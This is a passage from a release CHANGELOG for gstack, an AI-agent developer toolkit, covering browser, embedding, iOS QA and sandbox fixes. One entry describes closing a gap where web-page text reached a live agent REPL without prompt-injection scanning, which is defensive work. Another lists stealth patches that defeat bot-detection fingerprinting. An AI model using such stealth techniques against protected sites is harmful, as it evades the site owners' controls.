| `bun run scan-secrets` on Windows | `command -v gitleaks` not available in `cmd.exe` PATH — probe treats gitleaks as missing even when it's installed | Probes via `execFileSync('gitleaks', ['--version'])` instead of `command -v`. Closes #1545. Contributed by @jbetala7 via PR #1546. |
| `gstack-artifacts-url` accepting `github.com` or `garrytan` as a repository | Validator passed host-only or owner-only inputs as repos; downstream code emitted broken URLs | Rejects with a clear error when the path component isn't `<owner>/<repo>`. Closes #1597. Contributed by @jbetala7 via PR #1598. |
| `/qa` on Ubuntu with AppArmor blocking unprivileged Chromium sandboxing | `/qa` hangs at launch — kernel denies the unprivileged user namespaces Chromium needs, even for normal users | `GSTACK_CHROMIUM_NO_SANDBOX=1` opt-in env override forces the sandbox off without changing the default for everyone else. Headed-launch sandbox-on-Linux-dev behavior from v1.42.2.0 preserved. Original diff by @techcenter68 via PR #1562, rebased onto the `shouldEnableChromiumSandbox()` helper that landed in v1.42.2.0. |
| `gstack browse` server inside Claude Code's per-command Bash sandbox, Conductor, or CI step runners | `Bun.spawn().unref()` removes the child from Bun's event loop but doesn't call `setsid()`. The session leader's exit SIGHUPs every PID in the session — the browse server (and its Chromium grandchildren) die before the next command runs | macOS/Linux spawn routes through Node's `child_process.spawn` with `detached:true`, which calls `setsid()`. Server becomes its own session leader (PPID=1) and survives the spawning shell's exit. Windows path unchanged (was already correct via Node-via-Bun launcher). Contributed by @bharat2913 via PR #1612. |
| `GSTACK_CHROMIUM_PATH` pointing at a custom Chromium build, headless launch | Custom-build path didn't apply to headless `launch()`, only headed `launchPersistentContext()`.

- `test/land-and-deploy-postfail.test.ts` — 12 tests: §4a-postfail present, ordering before §4a, gh upstream bug refs, all three state branches, merge-SHA capture, non-destructive worktree cleanup, hard "never retry" rule, atomic regen propagation
- `test/gstack-gbrain-detect-mcp-mode.test.ts` — schema regression updated for new `gbrain_pooler_mode` key from PR #1591
- `test/fixtures/golden/{claude,codex,factory}-ship-SKILL.md` — regenerated to match the verification-gate text now baked into ship/SKILL.md via the resolver pipeline

Every wave-touched test file passes in isolation. Cross-file pollution in `bun test` full-suite mode remains pre-existing and is documented (v1.42.0.0 CHANGELOG).

### What this means for builders

If you run `/retro` on a Conductor branch that's been around for a few days, the skill no longer fabricates a confident retro narrative against a stale window — it tells you the window is stale and asks you to verify today's date or re-fetch. If you sync a big brain (~2000+ files), interrupted runs resume from `processedIndex+1` on the next `/sync-gbrain` instead of restaging from scratch every time. If you use `/review` on a Django/Rails/SQLAlchemy/TypeORM/Sequelize/Prisma repo, framework-shape false positives drop because the reviewer is forced to quote the line that motivates each finding before it lands in the report. If you're on Ubuntu/AppArmor, `GSTACK_CHROMIUM_NO_SANDBOX=1` unblocks `/qa`. If you run gstack inside Claude Code's per-command sandbox or Conductor's worktree harnesses, the browse server survives the spawning shell's exit via setsid. Pull and run `/gstack-upgrade`; no migration needed.

### Itemized changes

#### Added

- `scripts/resolvers/confidence.ts` (extended) — Pre-emit verification gate consumed by review, cso, plan-eng-review, and ship via the preamble pipeline. Reuses the existing `confidence < 7 → suppress` rule rather than inventing new mechanism.
- `bin/gstack-gbrain-sync.ts` (new exports: `resolveStageTimeoutMs`, `readGbrainCheckpoint`, `decideResume`) — env-driven timeouts with bounds (60_000-86_400_000ms); resume detection that reuses gbrain's own `~/.gbrain/import-checkpoint.json` as the source of truth.
- `bin/gstack-memory-ingest.ts` (new private: `stagingDirIsCheckpointed`) — SIGTERM handler now preserves the staging dir when gbrain has written a checkpoint pointing at it. Honors `GSTACK_INGEST_RESUME_DIR` so the orchestrator can hand the child an existing staging dir to resume against.
- `retro/SKILL.md.tmpl` (new Step 0.5) — stale-base + bad-today-anchor pre-flight guard. Four ordered pre-check branches.
- `land-and-deploy/SKILL.md.tmpl` (new §4a-postfail) — Post-failure PR-state check; never retries `gh pr merge` after non-zero exit.
- `browse/src/browser-manager.ts` (extended `shouldEnableChromiumSandbox`) — `GSTACK_CHROMIUM_NO_SANDBOX=1` opt-in override.
- Six new regression test files plus three coverage-gap tests (see Coverage above).

#### Changed

- `bin/gstack-gbrain-sync.ts:runCodeImport` — `--full` now runs `sync --strategy code` (the page-creating walk) before `reindex-code` (re-embed only). Honors the "full walk + reindex" contract for both fresh and populated sources. Contributed by @jetsetterfl via PR #1584.
- `lib/gbrain-local-status.ts:freshClassify` — probe env routes through `buildGbrainEnv` so `DATABASE_URL` is seeded from `~/.gbrain/config.json` and the result is cwd-independent. Contributed by @jetsetterfl via PR #1583.
- `bin/gstack-gbrain-detect`, `lib/gbrain-exec.ts`, `sync-gbrain/SKILL.md.tmpl` — PgBouncer transaction-mode pooler detection sets `GBRAIN_PREPARE=true`. Contributed by @mikeangstadt via PR #1591.
- `bin/gstack-gbrain-supabase-provision` — rewrites transaction-mode pooler URL (port 6543) to session-mode (port 5432) for newly-provisioned Supabase projects. Contributed by @0xDevNinja via PR #1582.
- `bin/gstack-config` — `explain_level` exposed in defaults table and active values list. Contributed by @jbetala7 via PR #1608.
- `bin/gstack-model-benchmark` — argv parsing routes flag values and positional prompts correctly. Contributed by @jbetala7 via PR #1604.
- `bin/gstack-artifacts-url` — rejects host-only or owner-only remotes. Contributed by @jbetala7 via PR #1598.
- `bin/gstack-learnings-search` — cross-project search tags rows inline (`current\t<line>` vs `cross\t<line>`) so current-project entries are never hidden. Contributed by @jbetala7 via PR #1619.
- `setup`, `bin/gstack-relink` — root `gstack` slash command alias registered via `_gstack-command` wrapper. Contributed by @jbetala7 via PR #1577.
- `lib/gstack-memory-helpers.ts` — gitleaks probe via `execFileSync('gitleaks', ['--version'])` instead of `command -v`. Works on Windows `cmd.exe`. Contributed by @jbetala7 via PR #1546.
- `bin/gstack-gbrain-lib.sh:_gstack_gbrain_validate_varname` — `local LC_ALL=C` pin gives ASCII-only bracket semantics on macOS shells. Contributed by @andrey-esipov via PR #1606.
- `browse/src/cli.ts` — macOS/Linux daemonize routes through `nodeSpawn(...)` with `detached:true` (calls `setsid()`). Contributed by @bharat2913 via PR #1612.
- `browse/src/browser-manager.ts` — `isCustomChromium()` guard mirrored to headless launch. Contributed by @shohu via PR #1614.
- `design/src/{evolve,generate,iterate,variants}.ts` — image-gen timeout bumped to 240s; pinned `gpt-image-2`. Contributed by @matteo-hertel via PR #1586.

#### Fixed

- `/retro` silent confidently-wrong output when `today` anchor drifts or `origin/<default>` is stale (#1624). Closed by Step 0.5 pre-flight guard.
- `/sync-gbrain --full` SIGTERM at hardcoded 35min, no resume from gbrain's checkpoint (#1611). Closed by env-driven timeouts + checkpoint-reuse + SIGTERM staging preservation.
- `/review` 50% FP rate on Django/Rails/SQLAlchemy repos when the FP class is "field/method doesn't exist on model" (#1539). Closed by pre-emit verification gate forcing every finding to quote the motivating line.

#### For contributors

- Defer-doc artifact `~/.gstack-dev/plans/1539-framework-aware-review.md` describes the multi-week framework-aware ORM verification extension (Django/Rails/SQLAlchemy detection, model-introspection helpers, migration-history-aware checks) intentionally deferred from this wave. Promote to active plan when v1.43.0.0 ships and a second high-volume FP report lands on a different framework, or a follow-up retro shows the lighter quoted-line gate doesn't deliver measurable FP reduction.
- Wave shape preserved from Daegu pattern: ONE bundled PR with bisect commits, atomic squashed commits for `.tmpl` edit + `gen:skill-docs` regen pairs, intermediate verification checkpoints, original contributors credited in commit author + footer.

## [1.43.1.0] - 2026-05-21

## **Local gbrain PGLite now defaults to Voyage's code-specialized embedding model when `VOYAGE_API_KEY` is set.**
## **Symbol search ranks implementation files above tests on real code queries.**

gstack-driven PGLite installs now use `voyage:voyage-code-3` (1024-dim) as the default embedding model when `VOYAGE_API_KEY` is in env. Falls back to gbrain's auto-selected provider chain (OpenAI `text-embedding-3-large` 1536-dim when `OPENAI_API_KEY` is set, etc.) when the Voyage key is absent. The switch hits 3 PGLite init sites in `/setup-gbrain` (Step 1.5 broken-db rollback, Path 3 direct PGLite, Step 4.5 split-engine local code index) and the post-install hint in `bin/gstack-gbrain-install`. Two new test files pin the contract: a free deterministic test that runs the template's voyage-gate shell against a fake gbrain to verify argv across `VOYAGE_API_KEY` set/unset/empty, and a real Voyage integration test (skips without the API key) that runs `gbrain init` + `sync --strategy code` against a sandbox PGLite to catch dimension mismatches, silent embedding failures, and provider adapter regressions.

### The numbers that matter

Source: head-to-head A/B against `voyage-4-large` on this codebase using `gbrain query --no-expand` (pure vector retrieval, no LLM expansion). 10 realistic code queries, a mix of symbol lookups, semantic intent, and design questions.

| Surface | voyage-4-large | voyage-code-3 | Δ |
|---|---|---|---|
| Strict wins (right impl file beats test file) | — | 4 | +4 |
| Ties (same top hit) | 5 | 5 | 0 |
| Losses | 0 | 0 | 0 |
| Top-1 confidence (avg) | 0.84 | 0.90 | +0.06 |
| Cost per 1M tokens | $0.18 | $0.18 | 0 |

| Query | voyage-4-large top hit | voyage-code-3 top hit |
|---|---|---|
| `ownsTerminalAgent` | `terminal-agent-integration.test.ts` (test) | `terminal-agent.ts` (impl) |
| `ServerConfig terminal-agent teardown ownership` | `pair-agent-e2e.test.ts killDaemon` (loose match) | `terminal-agent.ts disposeSession` |
| `unicode sanitization at server egress` | `sanitize.test.ts` | `server-node.mjs sanitizeReplacer` |
| `how does websocket auth use Sec-WebSocket-Protocol` | no results | `terminal-agent.ts buildServer` |

The win pattern is exactly what voyage-code-3 advertises: surfacing implementation source over tests when the query is a code concept. Cost is unchanged from voyage-4-large at $0.18 per 1M tokens. A full reindex of a 100K-LOC repo runs about $0.20.

### What this means for builders

If you have `VOYAGE_API_KEY` set and run `/setup-gbrain` on a fresh machine, `gbrain code-def`, `code-refs`, and semantic queries against your worktree now rank real implementation files above test fixtures with consistently higher confidence. No flag to pass, no config to edit. Existing brains keep whatever embedding model they were built with. The new default only applies to fresh inits. If you re-run `/setup-gbrain` on a machine that already has an OpenAI 1536-dim brain at `~/.gbrain/brain.pglite/`, the config rewrite triggers a column-dim mismatch that `gbrain doctor` will flag clearly. Recovery is `mv ~/.gbrain/brain.pglite ~/.gbrain/brain.pglite.bak && gbrain init --pglite --embedding-model voyage:voyage-code-3 --embedding-dimensions 1024` followed by a fresh `/sync-gbrain`.

### Itemized changes

**Added**
- `test/gbrain-init-voyage-code-3.test.ts` — 5 deterministic tests covering the voyage-gate shell semantics + a template-shape invariant that asserts the gate appears at exactly 3 PGLite init sites
- `test/gbrain-sync-voyage-code-3-integration.test.ts` — 4 tests (1 always-on guard, 3 voyage-gated) running real `gbrain init --pglite --embedding-model voyage:voyage-code-3` + `sync --strategy code` against a sandbox PGLite, asserting embeddings round-trip, doctor reports no dimension mismatch, and `code-def` finds symbols in the embedded fixture. Skips when `VOYAGE_API_KEY` or `gbrain` CLI is absent

**Changed**
- `setup-gbrain/SKILL.md.tmpl` — 3 PGLite init sites (Step 1.5 broken-db rollback, Path 3 direct, Step 4.5 split-engine) now gate `--embedding-model voyage:voyage-code-3 --embedding-dimensions 1024` on `VOYAGE_API_KEY`. Falls back to gbrain's auto-selected provider chain when unset
- `sync-gbrain/SKILL.md.tmpl` — 2 manual repair hints (D12 missing-engine, D4 corrupted-config) suggest the voyage flags with the same fallback pattern
- `bin/gstack-gbrain-install` — post-install "Next:" hint shows the voyage flags when the key is set, prints a tip about setting the key when absent
- `USING_GBRAIN_WITH_GSTACK.md` — Path 3 docs explain the embedding model selection and the A/B rationale
- `CLAUDE.md` — drops the obsolete `~/.zshrc grep+eval` recipe for API keys; points at the `GSTACK_*` env-shim (`lib/conductor-env-shim.ts`) as the canonical answer. Keeps the Agent SDK `env: {...}` gotcha for tests

**Regenerated**
- `setup-gbrain/SKILL.md`, `sync-gbrain/SKILL.md` — refreshed via `bun run gen:skill-docs --host all` after the template edits

## [1.43.0.0] - 2026-05-20

## **iOS QA on a real iPhone — no XCTest, no WebDriverAgent, no simulators.**
## **Verified end-to-end on a real iPhone 17 Pro Max running iOS 26.5; any agent that speaks HTTP can run full QA against a real iOS app, locally over USB or remotely over Tailscale.**

Five new skills (`/ios-qa`, `/ios-fix`, `/ios-design-review`, `/ios-clean`, `/ios-sync`) bring the fork from `time-attack/gstack` into upstream with the hardening it needed to actually ship. The architecture's load-bearing insight: drop XCTest, drop the simulator, drop WebDriverAgent. Embed an HTTP server in the iOS app under test, drive it from a Mac-side bun daemon over the USB CoreDevice IPv6 tunnel. The agent reads your Swift source, codegens typed `@Observable` accessors via a SwiftPM swift-syntax tool (with a TS fallback for fast first-runs), deploys a debug bridge, and runs a closed find→fix→verify loop. With the optional `--tailnet` flag, the Mac daemon also binds Tailscale and accepts authenticated remote calls — your Mac plus an iPhone you already own becomes the iOS QA surface for any agent on your tailnet.

Two Mac-side CLIs ship alongside the skills: `gstack-ios-qa-daemon` brokers traffic between the agent and the connected iPhone, and `gstack-ios-qa-mint` is the owner-grant tool for the tailnet allowlist (grant / revoke / list). The full end-to-end walkthrough lives at [docs/howto-ios-testing-with-gstack.md](docs/howto-ios-testing-with-gstack.md).

SwiftUI Buttons synthesized-tap support: on iOS 18+ the hit-test resolves through `_UIHitTestContext` and walks up to `SwiftUI.UIKitGestureContainer` (a UIResponder that isn't a UIView). The KIF-derived `DebugBridgeTouch` Objective-C target passes that responder through to `UITouch.setView:` directly, mirroring KIF PR #1323. Verified live: counter went 0 → 4 across four `POST /tap` requests on a real iPhone 17 Pro Max running iOS 26.5.

### The numbers that matter

Source: 81 daemon unit/integration tests + 20 codegen tests + 8 high-level E2E tests + the real-iPhone smoke run (commit `cf65bb05`), all reproducible from the fixture at `test/fixtures/ios-qa/FixtureApp/`.

| Surface | Fork as-is | Shipped |
|---|---|---|
| StateServer bind | `0.0.0.0:9999`, zero auth | `::1` + `127.0.0.1` only; bearer-token gate; boot token rotates within ~5s of daemon spawn so anything scraping `os_log` past then sees a dead credential |
| SwiftUI Button taps on iOS 18+ | synthesized taps silently dropped (hit-test walks past `SwiftUI.UIKitGestureContainer` because it isn't a UIView) | `DBT_HitTestView` returns the responder as-is and `UITouch.setView:` accepts it; verified live on iOS 26.5 |
| Release-build safety | none (any `#if DEBUG` mistake ships the bridge) | structural `Package.swift` `.when(configuration: .debug)` + CI `swift build -c release` invariant test that fails if the `DebugBridge` symbol appears |
| SPM package shape | one target, missing the Obj-C touch synth implementation entirely | three drop-in product targets — `DebugBridgeCore` (Swift, cross-platform), `DebugBridgeTouch` (Obj-C, iOS-only, KIF-derived), `DebugBridgeUI` (Swift, iOS-only); the consuming app adds one dependency on `DebugBridgeUI` and gets the rest transitively |
| Codegen failure modes covered | regex breaks on computed properties, generics, multi-line types | swift-syntax AST (production), strict TS regex fallback for tests; 3 dedicated fixtures pin the known failure shapes |
| Multi-agent device contention | none | per-device session lock with sliding timeout on mutations only; concurrent `/session/acquire` race test |
| Remote control | not in scope | Tailscale identity-gated `/auth/mint`; capability tiers (observe/interact/mutate/restore); 1h default session TTL (24h cap); audit log of every authenticated mutating request; hashed-identity attempts log; `gstack-ios-qa-mint` CLI is the explicit allowlist surface |
| Hardcoded paths | 3 `/Users/sinmat/.gstack/...` paths | none — all paths use `$HOME` / `os.homedir()` |
| Test coverage | none | 109 tests covering session-lock concurrency, snapshot/restore atomicity with schema-hash gate, identity canonicalization (user / tag / node-key), capability tier enforcement, rate limits, body-size limits, boot-token leak proofs, tailnet fail-closed probe, CoreDevice tunnel reconnect plumbing, cache-key composite (Swift version + tool git rev + source content + platform triple), and the new launcher CLIs (`gstack-ios-qa-daemon` + `gstack-ios-qa-mint`) end-to-end |

### What this means for iOS developers

You can ship a SwiftUI app, add the `DebugBridge` SPM dep, run `/ios-qa`, and watch an agent drive your phone — taps, swipes, state writes, the whole loop. The "Driven by Claude Code" overlay confirms the device is agent-controlled in real time. Hand the box to a colleague over Tailscale and they can run QA from their laptop without touching the device. The Mac-side daemon enforces capability tiers, so the contractor who only needs to take screenshots can't write state; the CI runner that needs to set up a test scenario can do so without being able to call `/state/restore`. The audit log gives you per-request forensics. The structural Release-build guard means the bridge cannot ship to TestFlight even if a developer forgets `/ios-clean`.

## [1.42.2.0] - 2026-05-20

## **Headed Chromium stops shipping the yellow `--no-sandbox` infobar, and Cmd+Q on the managed window stops triggering the supervisor respawn loop.**
## **Two launch-path bugs land together with the missing exit-code wiring that made the second fix actually take effect end-to-end.**

Two browse-side launch-path fixes bundle into one PATCH wave on top of v1.42.1.0. The yellow `--no-sandbox` infobar that appeared on every headed launch is gone at all three launch sites: `launch()`, `launchHeaded()` / `launchPersistentContext()`, and `handoff()` now share `shouldEnableChromiumSandbox()` so Playwright stops auto-adding `--no-sandbox` when the sandbox is actually wanted. Cmd+Q on the managed Chromium window now exits the browse server with code 0 instead of 2, so process supervisors (gbrowser's `gbd` HealthMonitor) treat it as user intent and skip the restart loop. The exit-code path threads end-to-end: the disconnect handler resolves clean-vs-crash from the underlying ChildProcess, `BrowserManager.onDisconnect` accepts an `exitCode` arg, and `server.ts`'s shutdown callback forwards it (`(code) => activeShutdown?.(code ?? 2)`). A regression test pins the full propagation path so a refactor that drops the forward fails CI before the user-visible respawn bug returns.

### The numbers that matter

Source: `bun test browse/test/browser-manager-unit.test.ts` — 17 tests, all green. The new `BrowserManager.onDisconnect exit-code propagation` describe block pins the signature and the server.ts forwarding callback shape; the existing `shouldEnableChromiumSandbox` and `resolveDisconnectCause` blocks pin platform/env and clean-vs-crash behavior.

| Surface | Before | After |
|---|---|---|
| Headed launch on macOS / Linux dev | Yellow `--no-sandbox` warning infobar on every tab | Infobar gone — all 3 launch sites share `shouldEnableChromiumSandbox()` |
| Linux root / Docker / CI headed launch | Sandbox off (kernel can't engage it), no infobar (already correct) | Same; sandbox correctly off, helper makes the policy explicit |
| Windows headed launch | Sandbox off (GitHub #276 Bun→Node chain) | Same; the policy is preserved by `shouldEnableChromiumSandbox()` returning false |
| Cmd+Q on managed headed Chromium | Server exits **2**; gbrowser's `gbd` HealthMonitor treats as crash; window respawns 1s → 2s → 4s backoff | Server exits **0**; `gbd` reads "user intent", no respawn |
| `SIGKILL` / `SIGSEGV` / OOM on Chromium | Server exits 2 (headed) / 1 (headless + handoff); supervisors restart on backoff | Same; crash-recovery preserved bit-for-bit |
| `BrowserManager.onDisconnect` signature | `(() => void \| Promise<void>) \| null` — caller cannot pass the resolved exit code | `((exitCode?: number) => void \| Promise<void>) \| null` — caller forwards the code through |
| `server.ts` shutdown callback wiring | Hardcoded `activeShutdown?.(2)` ignored any computed exit code | `(code) => activeShutdown?.(code ?? 2)` forwards 0 when computed, falls back to 2 |

### What this means for builders

If you run `browse` headed on macOS or Linux dev, the yellow `--no-sandbox` warning is gone. If you use gbrowser and Cmd+Q the managed window, the window stays closed instead of popping back on exponential backoff. Container, root, and CI environments still get sandbox off (correct, kernel can't engage it there). The exit-code contract for supervisors is now: 0 means user-initiated clean quit, 2 means a real crash. Crash-recovery is preserved across `launch()` (headless, crash → 1), `launchHeaded()` (headed, crash → 2), and `handoff()` (headless→headed re-launch, crash → 1). Pull and your next headed launch is clean.

### Itemized changes

#### Fixed

- `browse/src/browser-manager.ts` — headed `launchPersistentContext()` calls in `launchHeaded()` and `handoff()` now pass `chromiumSandbox`, so Playwright stops auto-adding `--no-sandbox` on every headed launch. Headless `launch()` switches to the same helper for consistency.
- `browse/src/browser-manager.ts` — disconnect handlers in `launch()` (headless), `launchHeaded()` (headed), and `handoff()` (headless→headed re-launch) now resolve `clean` vs `crash` from the underlying Chromium ChildProcess `exitCode` + `signalCode` (with a 1s wait for an asynchronous exit event), and exit with 0 on clean user-quit vs the legacy non-zero code on crash.
- `browse/src/browser-manager.ts` — `BrowserManager.onDisconnect` signature widened to `((exitCode?: number) => void | Promise<void>) | null`, and the headed disconnect handler now passes the resolved `exitCode` through (`this.onDisconnect(exitCode)`). Without this wiring the clean code computed inside `launchHeaded()` was dropped on the floor and the headed server still exited 2.
- `browse/src/server.ts:688` — `onDisconnect` shutdown callback now forwards the resolved exit code (`(code) => activeShutdown?.(code ?? 2)`). The `?? 2` preserves legacy crash semantics for callers that invoke `onDisconnect` without a code.

#### Added

- `browse/src/browser-manager.ts` (new exports) — `shouldEnableChromiumSandbox()` centralizes the Win32 / CI / CONTAINER / root heuristic that previously lived only in the headless path's explicit `--no-sandbox` push; `resolveDisconnectCause(browser)` resolves clean-vs-crash from the Chromium ChildProcess; `handleChromiumDisconnect(browser)` is the dispatcher for the headless `launch()` path.
- `browse/test/browser-manager-unit.test.ts` — 6 tests pinning `shouldEnableChromiumSandbox` across darwin / linux / win32 / CI / CONTAINER / root; 7 tests pinning `resolveDisconnectCause` across already-exited / async-exit / SIGSEGV / SIGKILL / null-browser; 2 tests pinning the new `onDisconnect(exitCode)` propagation contract including the `server.ts` forwarding callback shape. 17 tests total.

## [1.42.1.0] - 2026-05-19

## **Embedder PTY teardown stops clobbering — gbrowser's phoenix overlay survives every shutdown.**
## **`buildFetchHandler` gains an explicit ownership flag for terminal-agent files; CLI behavior preserved bit-for-bit.**

`browse/src/server.ts` factory shutdown unconditionally killed the terminal-agent and unlinked its discovery files on every teardown. Correct for gstack's CLI path, wrong for embedders that pass their own pre-launched `BrowserManager` and run their own PTY server. Their `terminal-port` file got clobbered every cycle, `/health.terminalPort` reported null until the overlay rewrote it. gbrowser's phoenix overlay shipped a client-side mitigation; with this PR landed, that mitigation becomes redundant. The new `ServerConfig.ownsTerminalAgent?: boolean` (default `true`) gates the three teardown side effects together: `pkill -f terminal-agent\.ts`, `safeUnlinkQuiet(<stateDir>/terminal-port)`, `safeUnlinkQuiet(<stateDir>/terminal-internal-token)`. Embedders pass `false` to keep their PTY lifecycle intact.

### The numbers that matter

Source: `bun test browse/test/server-embedder-terminal-port.test.ts browse/test/server-factory.test.ts` — 32 tests, all green. Static-grep test pins the CLI `start()` call site so a refactor that drops the explicit `: true` fails CI.

| Surface | Before | After |
|---|---|---|
| gbrowser phoenix overlay teardown | `terminal-port` unlinked every cycle; `/health.terminalPort: null` until overlay rewrites; client-side mitigation required | Pass `ownsTerminalAgent: false` — files untouched, embedder owns full lifecycle |
| gstack CLI shutdown | `pkill` + 2 unlinks fire | Identical (default `true`, explicit `: true` at `start()` call site documents intent + static-grep test) |
| Test runner safety | n/a | `spawnSync` stubbed in all 4 cases so real `pkill -f terminal-agent\.ts` cannot run on developer machine |
| Multi-case shutdown tests | Module-scoped `isShuttingDown` silently no-ops 2nd shutdown | New `__resetShuttingDown` test-only export mirrors `__resetRegistry` precedent |
| Real-daemon collision risk | Test mutates `~/.gstack/.../terminal-port` — would clobber a running developer daemon | `beforeAll` saves real contents, `afterAll` restores; tests safe to run while gstack is alive |

### What this means for builders

If you embed gstack's `buildFetchHandler` and run your own PTY server, pass `ownsTerminalAgent: false` in your cfg and your `terminal-port`/`terminal-internal-token` files survive every gstack teardown — no more client-side rewrite mitigation. If you use the gstack CLI, nothing changes. The flag is the third caller-owned teardown gate in `ServerConfig` (joining `xvfb?` and `proxyBridge?`); if a fourth appears we collapse to an ownership object.

### Itemized changes

**Added**
- `ServerConfig.ownsTerminalAgent?: boolean` in `browse/src/server.ts` (default `true`). JSDoc enumerates all three gated side effects, the pkill regex breadth caveat, and the polarity inversion vs `xvfb?`/`proxyBridge?` (which gate by *presence* of caller-owned handles)
- `__resetShuttingDown()` test-only export in `browse/src/server.ts`, mirroring `__resetRegistry` precedent in `token-registry.ts`. JSDoc warns about production-import footgun
- `browse/test/server-embedder-terminal-port.test.ts` (4 tests): `ownsTerminalAgent: false` preserves files + skips pkill, explicit `true` deletes + invokes pkill, unset defaults to `true`, static-grep test asserts CLI call site documents intent. Tests save+restore real-daemon `terminal-port`/`terminal-internal-token` contents in `beforeAll`/`afterAll` so a running developer session is never clobbered

**Changed**
- `buildFetchHandler` JSDoc references the new field alongside `beforeRoute` and `browserManager` in the embedder-composition paragraph
- CLI `start()` call site explicitly passes `ownsTerminalAgent: true` with a comment pointing at `cli.ts:1037-1063`. Documents intent + caught by the new static-grep test if a refactor drops it
- Strict opt-out semantics: `cfg.ownsTerminalAgent === false ? false : true` — only explicit `false` flips the gate. Defends against JS callers bypassing TS and passing truthy non-bool values

**Removed**
- Dead `try { safeUnlinkQuiet(...) } catch {}` wrappers inside the new gate. `safeUnlinkQuiet` already swallows all errors internally; the outer try/catch was slop-scan flagged dead code

**For contributors**
- Followup TODOs filed in `TODOS.md`: identity-based terminal-agent kill (replace `pkill -f` with PID-tracked `process.kill`), the pre-existing `shutdown()` reads module-level `config` (composition gap with parallel `chromiumProfile` gap), and the 4th-gate-collapse-to-ownership-object trigger
- Plan + reviews under `~/.gstack/projects/garrytan-gstack/`: autoplan CEO + Eng dual voices (Codex + Claude subagent), interactive `/plan-eng-review` (D3: drop dead try/catch), `/ship` adversarial pass (strict-bool + JSDoc hardening + test save/restore)

## **Daegu wave: 23 community-filed bugs land as one bisect-clean PR with the documented sidebar security stack finally enforced.**
## **Every full-page screenshot stops bricking the vision API at 2000px, the Windows installer stops failing on Bun shell parsing, `/codex review` works on Codex CLI 0.130+, and the L4 prompt-injection classifier actually runs.**

The biggest single wave since v1.18: 24 bisect commits closing 14 distinct user-facing problems across compat, security, install, and screenshot surfaces. The PTY-injection scan path that CLAUDE.md described as "shipped" finally is shipped (#1370 was the gap codex found in its plan review). The Windows installer that's been broken since v1.34.2.0 builds cleanly again. `/codex review` against Codex CLI ≥0.130.0 stops erroring out at the argv-parser before the model runs. Design generation stops silently billing whatever OpenAI account happened to be in your cwd `.env`. Full-page screenshots stop hitting the Anthropic vision API 2000px-max-dim brick. Every PR/issue closed in this wave is named in the per-commit body with credit to the original reporter or contributor.

### The numbers that matter

Source: `git log v1.40.0.0..HEAD --oneline` (24 commits) plus the test sweep in §"Coverage" below.

| Surface | Before | After |
|---|---|---|
| Windows fresh `./setup` from a clean checkout (Git Bash) | `bun run build` exits with "Subshells with redirections not supported" on Bun 1.3.x; install bricked since v1.34.2.0 (#1538/#1537/#1530/#1457/#1561) | `scripts/build.sh` runs POSIX-portable, gated by a new `windows-setup-e2e.yml` workflow that runs `bun run build` on every PR touching the install path |
| `/codex review` on Codex CLI 0.130.0+ | argv-parser rejects `codex review "PROMPT" --base <branch>` as mutually exclusive (#1479); skill aborts before the model runs | Diff scope moved into the prompt; `--base` dropped. Filesystem boundary preserved on every call (pinned by `test/skill-validation.test.ts`) |
| `/sync-gbrain` on gbrain v0.18-0.35 | `gbrain put_page` (unknown command, renamed to `put` in 0.18); `sources list --json` shape changed to `{sources:[...]}` (0.20+); doctor `schema_version: 2` dropped the `engine` field (0.25+) | All three handled. Resolver instructions rewritten to canonical `put <slug>`; wrapped-shape parsing added; schema_v2 fallback to `config.json` |
| Full-page screenshot of a 5000px-tall page | Silent base64 blob the Anthropic vision API rejects at 2000px max-dim — agent burns turns on a useless image (#1214) | `browse/src/screenshot-size-guard.ts` downscales via sharp; warning to stderr; covered for snapshot.ts + meta-commands.ts + write-commands.ts |
| Sidebar Cleanup / Inspector "Send to Code" PTY injection | Zero classifier coverage — page-derived text went straight to the live claude REPL bypassing every documented L1-L4 layer (#1370 gap) | `POST /pty-inject-scan` endpoint, Node sidecar process hosting the L4 classifier, extension pre-scan via `gstackScanForPTYInject`, static AST invariant test gating future regressions |
| Codex plugin installed alongside gstack as a skill | `gstack-paths` trusted `CLAUDE_PLUGIN_DATA` set by the Codex plugin; all checkpoints, analytics, learnings landed in the wrong directory (#1569) | Guarded by `CLAUDE_PLUGIN_ROOT` matching "gstack"; falls through to `$HOME/.gstack` for skill installs |
| `$D design generate` inside someone else's project with their `OPENAI_API_KEY` in `.env` | Silent billing of that project's OpenAI account (#1248) | `requireApiKey()` reports the source (`~/.gstack/openai.json` vs env var); warns when the env-var path matches a cwd `.env*` file; never echoes the key itself |
| `codex review` exits non-zero (parse error, arg break, model API error) | Calling agent sees no output, reads as silent stall, burns 30-60min misdiagnosing (#1327) | `elif [ "$_CODEX_EXIT" != "0" ]` block at all four invocation sites surfaces `[codex exit N] <stderr first line>` plus 20 lines of context |
| Anti-bot stealth (GStack Browser SannySoft pass rate) | Default minimum (webdriver-mask only) — fingerprint-consistent but not enough for protected sites | Opt-in `GSTACK_STEALTH=extended` adds six detection-vector patches (webdriver delete-from-prototype, WebGL spoof, PluginArray, chrome shape, mediaDevices, CDP cdc cleanup) for 100% SannySoft pass; default mode unchanged |

### Coverage

Every bisect commit ships its own unit tests. Three commits also add static invariant tests that fail the build on regression:
- `test/extension-pty-inject-invariant.test.ts` — extension PTY inject must be scan-gated
- `test/resolvers-gbrain-put-rewrite.test.ts` — generated SKILL.md must not contain `gbrain put_page`
- `test/memory-ingest-no-put_page.test.ts` — `gstack-memory-ingest.ts` argv must never include `"put_page"`

Wave-touched tests when run in isolation: 92/92 pass. The 23 failures observed in `bun test` full-suite mode are pre-existing test-pollution between files (one test mutates env vars another depends on) and exist on `v1.40.0.0` too — none traced to this wave.

### What this means for builders

If you ship gstack on Windows, fresh installs work again — the build chain that's been broken for five releases is now POSIX-portable. If you use `/codex review`, the argv break on Codex 0.130+ is fixed and the filesystem boundary is preserved on every call. If you sync gbrain across machines, v0.18-0.35 all work with no manual intervention. If you use the GStack Browser sidebar's Cleanup button or Inspector "Send to Code", page-derived text now passes through the L4 classifier before reaching the live REPL — and if you opted into extended stealth mode, your SannySoft pass rate goes to 100%. If you've been billing the wrong OpenAI account silently, you'll now see the source disclosure on every `$D` run.

### Itemized changes

#### Added

- `browse/src/screenshot-size-guard.ts` — shared 2000px max-dim guard wired into all three full-page screenshot paths (snapshot.ts annotated + heatmap, meta-commands.ts screenshot + responsive sweep, write-commands.ts prettyscreenshot). Downscales via sharp; warns to stderr.
- `browse/src/security-sidecar-entry.ts` — Node script that hosts the L4 TestSavant classifier as a subprocess of the compiled browse server. Avoids the onnxruntime-node `dlopen` failure that would brick the compiled binary.
